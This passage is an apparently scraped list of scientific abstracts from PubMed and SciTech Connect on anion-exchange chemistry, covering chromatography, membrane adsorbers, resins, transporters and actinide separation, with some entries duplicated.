Mustang Q products contain quaternary amine ligands; whereas, ChromaSorb contains primary amine based ligands. Performance was evaluated over a range of solution conditions: 0-200 mM NaCl, pH 6.0-9.0, and flow rates of 4-20 membrane volumes/min in the presence and absence of up to 50 mM phosphate and acetate. In addition contaminant clearance was determined in the presence and absence of 5 g/L monoclonal antibody. The quaternary amine based ligands depend mainly on Coulombic interactions for removal of negatively charged contaminants. Consequently, performance of Sartobind Q and Mustang Q was compromised at high ionic strength. Primary amine based ligands in ChromaSorb enable high capacities at high ionic strength due to the presence of secondary, hydrogen bonding interactions. However, the presence of hydrogen phosphate ions leads to reduced capacity. Monoclonal antibody recovery using primary amine based anion-exchange ligands may be lower if significant binding occurs due to secondary interactions. The removal of a specific contaminant is affected by the level of removal of the other contaminants. The results of this study may be used to help guide selection of commercially available membrane absorbers for flow-through polishing steps. 11. Transition-Metal-Free Diarylannulated Sulfide and Selenide Construction via Radical/Anion-Mediated Sulfur-Iodine and Selenium-Iodine Exchange. PubMed Wang, Ming; Fan, Qiaoling; Jiang, Xuefeng 2016-11-04 A facile, straightforward protocol was established for diarylannulated sulfide and selenide construction through S-I and Se-I exchange without transition metal assistance. Elemental sulfur and selenium served as the chalcogen source. Diarylannulated sulfides were systematically achieved from a five- to eight-membered ring. A trisulfur radical anion was demonstrated as the initiator for this radical process via electron paramagnetic resonance (EPR) study. OFET molecules [1]benzothieno[3,2-b][1]benzothiophene (BTBT) and [1]benzothieno[3,2-b][1]benzoselenophene (BTBS) were efficiently established. 12. Preparation of Microvolume Anion-Exchange Cartridge for Inductively Coupled Plasma Mass Spectrometry-Based Determination of (237)Np Content in Spent Nuclear Fuel. PubMed Asai, Shiho; Hanzawa, Yukiko; Konda, Miki; Suzuki, Daisuke; Magara, Masaaki; Kimura, Takaumi; Ishihara, Ryo; Saito, Kyoichi; Yamada, Shinsuke; Hirota, Hideyuki 2016-03-15 Microvolume anion-exchange porous polymer disk-packed cartridges were prepared for Am/Np separation, which is required prior to the measurement of Neptunium-237 ((237)Np) with inductively coupled plasma mass spectrometry (ICPMS). Disks with a volume of 0.08 cm(3) were cut out from porous sheets having anion-exchange-group-containing polymer chains densely attached on the pore surface. Four different amine-based groups, N,N-dimethylaminoethyl methacrylate, trimethylammonium, diethylamine, and triethylenediamine (TEDA), were selected as the anion-exchange groups to be introduced into the porous sheets. The separation performances of Am/Np were evaluated using a standard solution of (243)Am, which had the same activity as its daughter nuclide (239)Np in secular equilibrium. (239)Np recovery of close to 100% with practically no contamination of (243)Am was achieved using the TEDA-introduced disk-packed cartridge. The time to elute (239)Np from the cartridge was approximately 40 s. The TEDA-introduced disk-packed cartridge was applied to the separation of Np from a spent nuclear fuel sample to confirm its separation performance. A known amount of (243)Am ((239)Np) was added to the spent nuclear fuel sample solution to monitor the chemical yield of Np. The chemical yield of Np calculated from a measured concentration of (239)Np was 90.4%. Am leakage in the Np-eluted solution was less than 1 ppt, corresponding to 0.001% of the original Am concentration in the sample. This indicates that no additional (239)Np was produced by the decay of the (243)Am remaining in the Np-eluted solution, thus providing a reliable chemical yield. U, which can cause a serious spectral interference involving the peak tail from the mass spectrum of (238)U, was thoroughly removed with the TEDA cartridge, providing interference-free measurement of (237)Np. The concentration of (237)Np obtained by ICPMS was 718 ± 12 ng/mg-U, which agrees well with the theoretically calculated value. Compared with 13. Rapid formation of AgnX(X = S, Cl, PO4, C2O4) nanotubes via an acid-etching anion exchange reaction Li, Jingjing; Yang, Wenlong; Ning, Jiqiang; Zhong, Yijun; Hu, Yong 2014-05-01 This work presents a rapid nanotube fabrication method for a series of silver compounds AgnX, such as Ag2S, AgCl, Ag3PO4, and Ag2C2O4, from pregrown Ag2CO3 nanorod templates. The anion exchange process involved takes place in non-aqueous solutions just at room temperature and completes within 10 minutes. An acid-etching anion exchange reaction mechanism has been proved underneath the transformation process from Ag2CO3 nanorods to AgnX nanotubes by the observation of an intermediate yolk-shell nanostructure. It has been found that the final structure of the products can be conveniently controlled by simply varying the concentration of HnX acids, and the organic solvents employed play a vital role in the formation of the nanotubes by effectively controlling the diffusion rates of different species of reacting ions. As a demonstration, the as-prepared AgCl and Ag3PO4 nanotubes exhibit enhanced photocatalytic activity and favorable recyclability for the photodegradation of rhodamine B (RhB) under visible-light irradiation.This work presents a rapid nanotube fabrication method for a series of silver compounds AgnX, such as Ag2S, AgCl, Ag3PO4, and Ag2C2O4, from pregrown Ag2CO3 nanorod templates. The anion exchange process involved takes place in non-aqueous solutions just at room temperature and completes within 10 minutes. An acid-etching anion exchange reaction mechanism has been proved underneath the transformation process from Ag2CO3 nanorods to AgnX nanotubes by the observation of an intermediate yolk-shell nanostructure. It has been found that the final structure of the products can be conveniently controlled by simply varying the concentration of HnX acids, and the organic solvents employed play a vital role in the formation of the nanotubes by effectively controlling the diffusion rates of different species of reacting ions. As a demonstration, the as-prepared AgCl and Ag3PO4 nanotubes exhibit enhanced photocatalytic activity and favorable recyclability for the 14. Ion and solute transport by Prestin in Drosophila and Anopheles. PubMed Hirata, Taku; Czapar, Anna; Brin, Lauren; Haritonova, Alyona; Bondeson, Daniel P; Linser, Paul; Cabrero, Pablo; Thompson, James; Dow, Julian A T; Romero, Michael F 2012-04-01 The gut and Malpighian tubules of insects are the primary sites of active solute and water transport for controlling hemolymph and urine composition, pH, and osmolarity. These processes depend on ATPase (pumps), channels and solute carriers (Slc proteins). Maturation of genomic databases enables us to identify the putative molecular players for these processes. Anion transporters of the Slc4 family, AE1 and NDAE1, have been reported as HCO(3)(-) transporters, but are only part of the story. Here we report Dipteran (Drosophila melanogaster (d) and Anopheles gambiae (Ag)) anion exchangers, belonging to the Slc26 family, which are multi-functional anion exchangers. One Drosophila and two Ag homologues of mammalian Slc26a5 (Prestin) and Slc26a6 (aka, PAT1, CFEX) were identified and designated dPrestin, AgPrestinA and AgPrestinB. dPrestin and AgPrestinB show electrogenic anion exchange (Cl(-)/nHCO(3)(-), Cl(-)/SO(4)(2-) and Cl(-)/oxalate(2-)) in an oocyte expression system. Since these transporters are the only Dipteran Slc26 proteins whose transport is similar to mammalian Slc26a6, we submit that Dipteran Prestin are functional and even molecular orthologues of mammalian Slc26a6. OSR1 kinase increases dPrestin ion transport, implying another set of physiological processes controlled by WNK/SPAK signaling in epithelia. All of these mRNAs are highly expressed in the gut and Malpighian tubules. Dipteran Prestin proteins appear suited for central roles in bicarbonate, sulfate and oxalate metabolism including generating the high pH conditions measured in the Dipteran midgut lumen. Finally, we present and discuss Drosophila genetic models that integrate these processes. 15. Drug Transporters and Na+/H+ Exchange Regulatory Factor PSD-95/Drosophila Discs Large/ZO-1 Proteins PubMed Central Walsh, Dustin R.; Nolin, Thomas D. 2015-01-01 Drug transporters govern the absorption, distribution, and elimination of pharmacologically active compounds. Members of the solute carrier and ATP binding-cassette drug transporter family mediate cellular drug uptake and efflux processes, thereby coordinating the vectorial movement of drugs across epithelial barriers. To exert their physiologic and pharmacological function in polarized epithelia, drug transporters must be targeted and stabilized to appropriate regions of the cell membrane (i.e., apical versus basolateral). Despite the critical importance of drug transporter membrane targeting, the mechanisms that underlie these processes are largely unknown. Several clinically significant drug transporters possess a recognition sequence that binds to PSD-95/Drosophila discs large/ZO-1 (PDZ) proteins. PDZ proteins, such as the Na+/H+ exchanger regulatory factor (NHERF) family, act to stabilize and organize membrane targeting of multiple transmembrane proteins, including many clinically relevant drug transporters. These PDZ proteins are normally abundant at apical membranes, where they tether membrane-delimited transporters. NHERF expression is particularly high at the apical membrane in polarized tissue such as intestinal, hepatic, and renal epithelia, tissues important to drug disposition. Several recent studies have highlighted NHERF proteins as determinants of drug transporter function secondary to their role in controlling membrane abundance and localization. Mounting evidence strongly suggests that NHERF proteins may have clinically significant roles in pharmacokinetics and pharmacodynamics of several pharmacologically active compounds and may affect drug action in cancer and chronic kidney disease. For these reasons, NHERF proteins represent a novel class of post-translational mediators of drug transport and novel targets for new drug development. PMID:26092975 16. Qualitative and quantitative analysis of branches in dextran using high-performance anion exchange chromatography coupled to quadrupole time-of-flight mass spectrometry. PubMed Yi, Lin; Ouyang, Yilan; Sun, Xue; Xu, Naiyu; Linhardt, Robert J; Zhang, Zhenqing 2015-12-04 Dextran, a family of natural polysaccharides, consists of an α (1→6) linked-glucose main (backbone) chain having a number of branches. The determination of the types and the quantities of branches in dextran is important in understanding its various biological roles. In this study, a hyphenated method using high-performance anion exchange chromatography (HPAEC) in parallel with pulsed amperometric detection (PAD) and mass spectrometry (MS) was applied to qualitative and quantitative analysis of dextran branches. A rotary cation-exchange cartridge array desalter was used for removal of salt from the HPAEC eluent making it MS compatible. MS and MS/MS were used to provide structural information on the enzymatically prepared dextran oligosaccharides. PAD provides quantitative data on the ratio of enzyme-resistant, branched dextran oligosaccharides. Both the types and degree of branching found in a variety of dextrans could be simultaneously determined online using this method. 17. Modeling, rate-limiting step investigation, and enhancement of the direct bio-regeneration of perchlorate laden anion-exchange resin. PubMed Wang, Chao; Lippincott, Lee; Yoon, In-Ho; Meng, Xiaoguang 2009-01-01 Anion-exchange with high perchlorate affinity resins is one of the most promising technologies for removing low levels of perchlorate. However, the traditional brine desorption technique is difficult and costly for regeneration of this type of resin. Previously, a direct bio-regeneration method by contacting the spent high perchlorate affinity resin with the perchlorate-reducing bacteria was proved feasible. This research is a further study of that method. Firstly, a direct bio-regeneration process model, based on the physicochemical and biological fundamentals, was developed and calibrated with experimental data. Thereafter, the rate-limiting step in regeneration of the high perchlorate affinity resin was investigated. Methods to enhance the regeneration efficiency were developed. The results indicated that the calibrated model well described the regeneration process. It thus might provide useful insights into the regeneration system. The results also demonstrated that the perchlorate desorption from the loaded resin could be the rate-limiting step. Addition of proper amount of counter anions such as chloride and sulfate improved the regeneration efficiency because these anions could promote both the extent and rate of perchlorate desorption from the loaded resin. These findings aided us in achieving good and efficient regeneration of high perchlorate affinity resins like the A-530E and SR-7 resins. The findings also suggested that the application of bacteria that could efficiently reduce perchlorate in highly saline solution would make the method more promising for the regeneration of high perchlorate affinity resins. 18. Vinylbenzyl quaternary ammonium-based polymeric monolith with hydrophilic interaction/strong anion exchange mixed-mode for pressurized capillary electrochromatography. PubMed Lin, Xucong; Feng, Shuhui; Jia, Wenchao; Ding, Kang; Xie, Zenghong 2013-11-05 A novel polymeric monolith with hydrophilic interaction and strong anion-exchange mixed-mode has been fabricated for pressurized capillary electrochromatography by an in situ copolymerization of vinylbenzyl trimethylammonium chloride (VBTA) and bisphenol A glycerolate dimethacrylate (BisGMA). The optimization of the polymerization mixture composition has been investigated, and column characteristics in terms of mechanical stability, permeability and reproducibility have been studied in detail. Linear responses between back pressure and flow rate have been achieved in different solvents. The absolute value of swelling propensity (SP) factor for poly(VBTA-co-BisGMA) monolith is 0.41, and the degree of permeability drop from pure ACN to water is about 45%. An acceptable mechanical stability of the column is obtained. The suitable reproducibility is also measured with the RSD for day-to-day (n=3) of retention time and column efficiency less than 3.3%, and the RSD for batch-to-batch (n=3) less than 5.3%, respectively. Under the optimum conditions, the mixed-mode of hydrophilic interaction and strong anion-exchange has been carried out, and efficient electrochromatography profiling of various polar compounds including neutral phenols, negatively charged benzoic acids and positively charged nucleic acid bases and nucleosides are achieved, respectively. 19. Monitoring of enzymatic hydrolysis of starch by microdialysis sampling coupled on-line to anion exchange chromatography and integrated pulsed electrochemical detection using post-column switching. PubMed Torto, N; Gorton, L; Marko-Varga, G; Emnéus, J; Akerberg, C; Zacchi, G; Laurell, T 1997-12-05 A quantitative evaluation of the hydrolysis of wheat starch using Termamyl, a thermostable alpha-amylase (endo-1,4-alpha-d-glucan, glucanohydrolase; EC 3.2.1.78), is reported. Data from the monitoring of the hydrolysis of wheat starch indicated that, after 1 h, glucose and maltooligosaccharides up to DP 7 were the main hydrolysis products and thus enabled optimization of a liquefication step during the production of L-lactic acid. The monitoring system used, both in the on- and off-line mode, was based on continuous flow microdialysis sampling (CFMS) coupled to anion exchange chromatography and integrated pulsed electrochemical detection (IPED). A microdialysis probe equipped with a 5-mm polysulfone (SPS 4005) membrane, with a molecular-weight cut-off of 5 kDa, was used to sample the hydrolysis products of native wheat starch at 90 degrees C. Characteristic fingerprint separations were achieved by anion exchange chromatography after enzymatic hydrolysis. Post-column switching improved the detection and, consequently, also quantification of the hydrolysates as fouling of the electrode could be reduced. Maltooligosaccharide standards were used for quantification and to verify the elution of the hydrolysates by spiking the off-line samples. (c) 1997 John Wiley & Sons, Inc. Biotechnol Bioeng 56: 546-554, 1997. 20. Heterodimers formed through a partial anionic exchange process: scanning tunneling spectroscopy to monitor bands across the junction vis-à-vis photoinduced charge separation. PubMed Bera, Abhijit; Saha, Sudip K; Pal, Amlan J 2015-11-07 We report controlled formation of heterodimers and their charge separation properties. CdS\|CdTe heterodimers were formed through an anionic exchange process of CdS nanostructures. With control over the duration of the anionic exchange process, bulk\|dot, bulk\|bulk, and then dot\|bulk phases of the semiconductors could be observed to have formed. A mapping of density of states as derived from scanning tunneling spectroscopy (STS) brought out conduction and valence band-edges along the nanostructures and heterodimers. The CdS\|CdTe heterodimers evidenced a type-II band-alignment between the semiconductors along with the formation of a depletion region at the interface. The width (of the depletion region) and the energy-offset at the interface depended on the size of the semiconductors. We report that the width that is instrumental for photoinduced charge separation in the heterodimers has a direct correlation with the performance of hybrid bulk-heterojunction solar cells based on the nanostructures in a polymer matrix. 1. Spectroscopic characterization by photodiode array detection of human urinary and amniotic protein HC subpopulations fractionated by anion-exchange and size-exclusion high-performance liquid chromatography. PubMed Calero, M; Escribano, J; Soriano, F; Grubb, A; Brew, K; Méndez, E 1996-01-05 A procedure for spectroscopic characterization and partial fractionation of human protein HC populations by high-performance liquid chromatography-photodiode array ultraviolet-visible detection is reported. Human protein HC from urine or amniotic fluid fractionated by anion-exchange HPLC in a protein Pak DEAE 5PW appeared to be heterogeneous as judged by the asymmetric elution pattern, consisting of a continuous irregular broad peak with several shoulders distributed along the whole chromatogram. Selected fractions containing shoulders were rechromatographed and finally six symmetrical homogeneous peaks with different retention times were obtained from each protein HC preparation. The direct automatic absorption spectra analyses at each peak maximum, indicated that all of the homogeneous peaks seemed to be protein HC, all of them associated to the same chromophore although with different stoichiometry ratios. Isoelectric focusing showed that each peak was composed of a limited number of subpopulations of protein HC with different isoelectric points. Size microheterogeneity has been also demonstrated in both urinary and amniotic protein HC preparations by a combination of size-exclusion HPLC on a TSK 3000 SW6 column and photodiode array detection. Partial fractionation of human albumin on an analytical anion-exchange Mono-Q PC 1.6/5 column, has allowed the identification of heterogeneous chromophore-containing populations displaying significant absorption in the visible region in resemblance to that of protein HC. 2. Evaluation of an anion exchange resin-based method for concentration of F-RNA coliphages (enteric virus indicators) from water samples. PubMed Pérez-Méndez, A; Chandler, J C; Bisha, B; Goodridge, L D 2014-08-01 Enteric viral contaminants in water represent a public health concern, thus methods for detecting these viruses or their indicator microorganisms are needed. Because enteric viruses and their viral indicators are often found at low concentrations in water, their detection requires upfront concentration methods. In this study, a strong basic anion exchange resin was evaluated as an adsorbent material for the concentration of F-RNA coliphages (MS2, Qβ, GA, and HB-P22). These coliphages are recognized as enteric virus surrogates and fecal indicator organisms. Following adsorption of the coliphages from 50ml water samples, direct RNA isolation and real time RT-PCR detection were performed. In water samples containing 10(5)pfu/ml of the F-RNA coliphages, the anion exchange resin (IRA-900) adsorbed over 96.7% of the coliphages present, improving real time RT-PCR detection by 5-7 cycles compared to direct testing. F-RNA coliphage RNA recovery using the integrated method ranged from 12.6% to 77.1%. Resin-based concentration of samples with low levels of the F-RNA coliphages allowed for 10(0)pfu/ml (MS2 and Qβ) and 10(-1)pfu/ml (GA and HB-P22) to be detected. The resin-based method offers considerable advantages in cost, speed, simplicity and field adaptability. 3. The influence of plutonium concentration and solution flow rate on the effective capacity of macroporous anion exchange resin. [Lewatit MP-500-FK; Pu/sup +/ SciTech Connect Marsh, S.F.; Gallegos, T.D. 1987-07-01 The principal aqueous process used to recover and purify plutonium at the Los Alamos Plutonium Facility is anion exchange in nitric acid. Previous studies with gel-type anion exchange resin have shown an inverse relationship between plutonium concentration in the feed solution and the optimum flow rate for this process. Because gel-type resin has been replaced with macroporous resin at Los Alamos, the relationship between plutonium concentration and solution flow rate was reexamined with the selected Lewatit MP-500-FK resin using solutions of plutonium in nitric acid and in nitric acid with high levels of added nitrate salts. Our results with this resin differ significantly from previous data obtained with gel-type resin. Flow-rate variation from 10 to 80 liters per hour had essentially no effect on the measured quantities of plutonium sorbed by the macroporous resin. However, the effect of plutonium concentration in the feed solutions was pronounced, as feed solutions that contained the highest concentrations of plutonium also produced the highest resin loadings. The most notable effect of high concentrations of dissolved nitrate salts in these solutions was an increased resin capacity for plutonium at low flow rates. 16 refs., 7 figs., 2 tabs. 4. Monitoring of enzymatic hydrolysis of starch by microdialysis sampling coupled on-line to anion exchange chromatography and integrated pulsed electrochemical detection using post-column switching SciTech Connect Torto, N.; Gorton, L.; Emneus, J.; Laurell, T.; Marko-Varga, G.; Akerberg, C.; Zacchi, G. \| 1997-12-05 A quantitative evaluation of the hydrolysis of wheat starch using Termamyl, a thermostable {alpha}-amylase, is reported. Data from the monitoring of the hydrolysis of wheat starch indicated that, after 1 h, glucose and maltooligosaccharides up to DP 7 were the main hydrolysis products and thus enabled optimization of a liquefaction step during the production of L-lactic acid. The monitoring system used, both in the on- and off-line mode, was based on continuous flow microdialysis sampling (CFMS) coupled to anion exchange chromatography and integrated pulsed electrochemical detection (IPED). A microdialysis probe equipped with a 5-mm polysulfone (SPS 4005) membrane, with a molecular-weight cut-off of 5 kDa, was used to sample the hydrolysis products of native wheat starch at 90 C. Characteristic fingerpoint separations were achieved by anion exchange chromatography after enzymatic hydrolysis. Post-column switching improved the detection and, consequently, also quantification of the hydrolysates as fouling of the electrode could be reduced. Maltooligosaccharide standards were used for quantification and to verify the elution of the hydrolysates by spiking the off-line samples. 5. Ion distribution in quaternary-ammonium-functionalized aromatic polymers: effects on the ionic clustering and conductivity of anion-exchange membranes. PubMed Weiber, E Annika; Jannasch, Patric 2014-09-01 A series of copoly(arylene ether sulfone)s that have precisely two, three, or four quaternary ammonium (QA) groups clustered directly on single phenylene rings along the backbone are studied as anion-exchange membranes. The copolymers are synthesized by condensation polymerizations that involve either di-, tri-, or tetramethylhydroquinone followed by virtually complete benzylic bromination using N-bromosuccinimide and quaternization with trimethylamine. This synthetic strategy allows excellent control and systematic variation of the local density and distribution of QA groups along the backbone. Small-angle X-ray scattering of these copolymers shows extensive ionic clustering, promoted by an increasing density of QA on the single phenylene rings. At an ion-exchange capacity (IEC) of 2.1 meq g(-1), the water uptake decreases with the increasing local density of QA groups. Moreover, at moderate IECs at 20 °C, the Br(-) conductivity of the densely functionalized copolymers is higher than a corresponding randomly functionalized polymer, despite the significantly higher water uptake of the latter. Thus, the location of multiple cations on single aromatic rings in the polymers facilitates the formation of a distinct percolating hydrophilic phase domain with a high ionic concentration to promote efficient anion transport, despite probable limitations by reduced ion dissociation. These findings imply a viable strategy to improve the performance of alkaline membrane fuel cells. 6. Rapid formation of Ag(n)X(X = S, Cl, PO4, C2O4) nanotubes via an acid-etching anion exchange reaction. PubMed Li, Jingjing; Yang, Wenlong; Ning, Jiqiang; Zhong, Yijun; Hu, Yong 2014-06-07 This work presents a rapid nanotube fabrication method for a series of silver compounds AgnX, such as Ag2S, AgCl, Ag3PO4, and Ag2C2O4, from pregrown Ag2CO3 nanorod templates. The anion exchange process involved takes place in non-aqueous solutions just at room temperature and completes within 10 minutes. An acid-etching anion exchange reaction mechanism has been proved underneath the transformation process from Ag2CO3 nanorods to AgnX nanotubes by the observation of an intermediate yolk-shell nanostructure. It has been found that the final structure of the products can be conveniently controlled by simply varying the concentration of HnX acids, and the organic solvents employed play a vital role in the formation of the nanotubes by effectively controlling the diffusion rates of different species of reacting ions. As a demonstration, the as-prepared AgCl and Ag3PO4 nanotubes exhibit enhanced photocatalytic activity and favorable recyclability for the photodegradation of rhodamine B (RhB) under visible-light irradiation. 7. Silica-based monolithic columns with mixed-mode reversed-phase/weak anion-exchange selectivity principle for high-performance liquid chromatography. PubMed Nogueira, Raquel; Lubda, Dieter; Leitner, Alexander; Bicker, Wolfgang; Maier, Norbert M; Lämmerhofer, Michael; Lindner, Wolfgang 2006-05-01 This article describes the synthesis, chromatographic characterization, and performance evaluation of analytical (100 x 4.6 mm id) and semipreparative (100 x 10 mm id) monolithic silica columns with mixed-mode RP/weak anion-exchange (RP/WAX) surface modification. The monolithic RP/WAX columns were obtained by immobilization of N-(10-undecenoyl)-3-aminoquinuclidine onto thiol-modified monolithic silica columns (Chromolith) by a radical addition reaction. Their chromatographic characterization by Engelhardt and Tanaka tests revealed slightly lower hydrophobic selectivities than C-8 phases, as well as higher polarity and also improved shape selectivity than RP-18e silica rods. The surface modification enabled separation by both RP and anion-exchange chromatography principles, and thus showed complementary selectivities to the RP-18e monoliths. The mixed-mode monoliths have been tested for the separation of peptides and turned out to be particularly useful for hydrophilic acidic peptides, which are usually insufficiently retained on RP-18e monolithic columns. Compared to a corresponding particulate RP/WAX column (5 microm, 10 nm pore diameter), the analytical RP/WAX monolith caused lower system pressure drops and showed, as expected, higher efficiency (e.g. by a factor of about 2.5 lower C-term for a tetrapeptide). The upscaling from the analytical to semipreparative column dimension was also successful. 8. A novel surface-confined glucaminium-based ionic liquid stationary phase for hydrophilic interaction/anion-exchange mixed-mode chromatography. PubMed Qiao, Lizhen; Wang, Shuangyuan; Li, Hua; Shan, Yuanhong; Dou, Abo; Shi, Xianzhe; Xu, Guowang 2014-09-19 Glucaminium-based ionic liquids are a new class of recently developed ionic liquids and prepared by functionalizing the amine group of N-methyl-d-glucamine, which renders them good hydrophilicity due to the presence of the glucose structure and charged quaternary ammonium group. In the present study, a glucaminium-based ionic liquid N,N-diallyl-N-methyl-d-glucaminium bromide was synthesized and subsequently bonded to the surface of 3-mercaptopropyl modified silica materials through "thiol-ene" click chemistry. The obtained stationary phase was characterized by elemental analysis and infrared spectroscopy, and then packed as a HPLC column. A mixture of five nucleosides was used to characterize the separation performance of the obtained column under HILIC mode and the column efficiency was determined with cytidine as the test solute, reaching 80,000plates/m. Then, the retention behavior was evaluated by investigating the effect of various chromatographic factors on retention of different types of solutes, and the results revealed that the developed surface-confined glucaminium-based ionic liquid stationary phase exhibited a hydrophilic interaction/anion-exchange mixed-mode retention mechanism. Finally, two mixtures of nucleotides and flavonoids were separated on the glucaminium-based ionic liquid column, respectively under hydrophilic interaction and hydrophilic interaction/anion-exchange mixed-mode chromatography. In conclusion, the multimodal retention capabilities of the glucaminium-based ionic liquid column could offer a wider range of retention behavior and flexible selectivity toward polar and hydrophilic compounds. 9. Tuned synthesis of two coordination polymers of Cd(II) using substituted bent 3-pyridyl linker and succinate: structures and their applications in anion exchange and sorption properties. PubMed Maity, Dilip Kumar; Bhattacharya, Biswajit; Halder, Arijit; Ghoshal, Debajyoti 2015-12-28 Two new Cd(II) coordination polymers, namely [Cd(3-bpdh)2(ClO4)2]n (1) and {[Cd(3-bpdh)(suc)(H2O)]·3(H2O)}n (2), have been synthesized using a substituted bent N,N'-donor ligand 2,5-bis-(3-pyridyl)-3,4-diaza-2,4-hexadiene (3-bpdh) and aliphatic dicarboxylate disodium succinate (suc) with Cd(II) perchlorate salts at room temperature by a slow diffusion technique for the exploration of our previous reported work. Both the structures were determined by single-crystal X-ray diffraction analysis and also by other physicochemical methods. Structure analysis revealed that complex 1 is a 1D chain structure containing coordinated perchlorate with a metal centre, and complex 2 shows a porous 3D framework with encapsulation of lattice water molecules into the void along the crystallographic a-axis. The PXRD study shows the bulk purity of both the complexes and TGA analysis of 2 exhibits that the structure is thermally stable up to 250 °C. Complex 1 shows a nice anion exchange property with replacement of weakly coordinated perchlorate with the inclusion of new anions; and the anion exchanged solids were characterised by FT-IR, PXRD and photoluminescence properties. The desolvated framework of 2 exhibits sorption of CO2 and water vapor and surface adsorption of N2 corroborating with the nature of the pore environment present in 2. The photoluminescence study has been also done for both complexes in the solid state which exhibits ligand based emissions at room temperature. 10. Extraction of Tetra-oxo Anions into a Hydrophobic, Ionic Liquid-Based Solvent Without Concomitant Ion Exchange SciTech Connect Stepinski, D.C.; Wishart, J.; Vandegrift, III, G.F.; Shkrob, I.A.; Kerr, K.; Dietz, M.L.; Qadah, D.T.D.; Garvey, S.L. 2010-06-10 Hydrophobic ionic liquids (IL) have the potential to simplify certain separations by serving as both an extraction solvent and an electrolyte for subsequent electrochemical reductions. While IL-based solvents are known to be efficient media for metal ion extraction, separations employing these solvents are frequently complicated by the loss of constituent IL ions to the aqueous phase, resulting in deteriorating performance. In this study, we have examined the extraction of pertechnetate and related tetra-oxo anions from aqueous solutions into IL-based solvents incorporating tetraalkylphosphonium bis[(trifluoromethyl)sulfonyl]imide and a crown ether. In contrast to various previously studied IL-based cation extraction systems, facile anion extraction without significant transfer of the IL ions to the aqueous phase has been observed. In addition, the solvents exhibit high distribution ratios (100-500 for pertechnetate), significant electrical conductivity (>100 {micro}S/cm), and a wide ({approx}4 V) electrochemical window. The results suggest that these solvents may provide the basis for improved approaches to the extraction and recovery of a variety of anions. 11. Extraction of tetra-oxo anions into a hydrophobic, ionic liquid-based solvent without concomitant ion exchange. SciTech Connect Stepinski, D. C.; Vandegrift, G. F.; Shkrob, I. A.; Wishart, J. F.; Kerr, K.; Dietz, M. L.; Qadah, D. T. D.; Garvey, S. L.; BNL; Univ. of Wisconsin at Milwaukee 2010-06-16 Hydrophobic ionic liquids (IL) have the potential to simplify certain separations by serving as both an extraction solvent and an electrolyte for subsequent electrochemical reductions. While IL-based solvents are known to be efficient media for metal ion extraction, separations employing these solvents are frequently complicated by the loss of constituent IL ions to the aqueous phase, resulting in deteriorating performance. In this study, we have examined the extraction of pertechnetate and related tetra-oxo anions from aqueous solutions into IL-based solvents incorporating tetraalkylphosphonium bis[(trifluoromethyl)sulfonyl]imide and a crown ether. In contrast to various previously studied IL-based cation extraction systems, facile anion extraction without significant transfer of the IL ions to the aqueous phase has been observed. In addition, the solvents exhibit high distribution ratios (100-500 for pertechnetate), significant electrical conductivity (>100 ?S/cm), and a wide (4 V) electrochemical window. The results suggest that these solvents may provide the basis for improved approaches to the extraction and recovery of a variety of anions. 12. Modeling and simulation of anion-exchange membrane chromatography for purification of Sf9 insect cell-derived virus-like particles. PubMed Ladd Effio, Christopher; Hahn, Tobias; Seiler, Julia; Oelmeier, Stefan A; Asen, Iris; Silberer, Christine; Villain, Louis; Hubbuch, Jürgen 2016-01-15 Recombinant protein-based virus-like particles (VLPs) are steadily gaining in importance as innovative vaccines against cancer and infectious diseases. Multiple VLPs are currently evaluated in clinical phases requiring a straightforward and rational process design. To date, there is no generic platform process available for the purification of VLPs. In order to accelerate and simplify VLP downstream processing, there is a demand for novel development approaches, technologies, and purification tools. Membrane adsorbers have been identified as promising stationary phases for the processing of bionanoparticles due to their large pore sizes. In this work, we present the potential of two strategies for designing VLP processes following the basic tenet of 'quality by design': High-throughput experimentation and process modeling of an anion-exchange membrane capture step. Automated membrane screenings allowed the identification of optimal VLP binding conditions yielding a dynamic binding capacity of 5.7 mg/mL for human B19 parvovirus-like particles derived from Spodoptera frugiperda Sf9 insect cells. A mechanistic approach was implemented for radial ion-exchange membrane chromatography using the lumped-rate model and stoichiometric displacement model for the in silico optimization of a VLP capture step. For the first time, process modeling enabled the in silico design of a selective, robust and scalable process with minimal experimental effort for a complex VLP feedstock. The optimized anion-exchange membrane chromatography process resulted in a protein purity of 81.5%, a DNA clearance of 99.2%, and a VLP recovery of 59%. 13. Determination of free sulfites (SO3-2) in dried fruits processed with sulfur dioxide by ion chromatography through anion exchange column and conductivity detection. PubMed Liao, Benjamin S; Sram, Jacqueline C; Files, Darin J 2013-01-01 A simple and effective anion ion chromatography (IC) method with anion exchange column and conductivity detector has been developed to determine free sulfites (SO3-2) in dried fruits processed with sulfur dioxide. No oxidation agent, such as hydrogen peroxide, is used to convert sulfites to sulfates for IC analysis. In addition, no stabilizing agent, such as formaldehyde, fructose or EDTA, is required during the sample extraction. This method uses aqueous 0.2 N NaOH as the solvent for standard preparation and sample extraction. The sulfites, either prepared from standard sodium sulfite powder or extracted from food samples, are presumed to be unbound SO3-2 in aqueous 0.2 N NaOH (pH > 13), because the bound sulfites in the sample matrix are released at pH > 10. In this study, sulfites in the standard solutions were stable at room temperature (i.e., 15-25 degrees C) for up to 12 days. The lowest standard of the linear calibration curve is set at 1.59 microg/mL SO3-2 (equivalent to 6.36 microg/g sample with no dilution) for analysis of processed dried fruits that would contain high levels (>1000 microg/g) of sulfites. As a consequence, this method typically requires significant dilution of the sample extract. Samples are prepared with a simple procedure of sample compositing, extraction with aqueous 0.2 N NaOH, centrifugation, dilution as needed, and filtration prior to IC. The sulfites in these sample extracts are stable at room temperature for up to 20 h. Using anion IC, the sulfites are eluted under isocratic conditions with 10 mM aqueous sodium carbonate solution as the mobile phase passing through an anion exchange column. The sulfites are easily separated, with an analysis run time of 18 min, regardless of the dried fruit matrix. Recoveries from samples spiked with sodium sulfites were demonstrated to be between 81 and 105% for five different fruit matrixes (apricot, golden grape, white peach, fig, and mango). Overall, this method is simple to perform and 14. Statics of molybdenum sorption from manganese(II) sulfate solutions on porous and macronetwork anion-exchange resin AN-108 SciTech Connect Kholmogorov, A.G.; Kononova, O.N.; Pashkov, G.L. 1994-11-20 The statics have been considered of the ion-exchange equilibrium in the system R{sub 2}SO{sub 4}-MnSO{sub 4}-H{sub 2}SO{sub 4}-Mo(VI)-H{sub 2}O in recovery of molybdenum(VI) ions from sulfate solutions of manganese(II) in relation to the sulfuric acid concentration, physical and chemical structure of the ion-exchange resin, and solution temperatures. 15. Method of uranium reclamation from aqueous systems by reactive ion exchange. [US DOE patent application; anion exchange resin of copolymerized divinyl-benzene and styrene having quarternary ammonium groups and 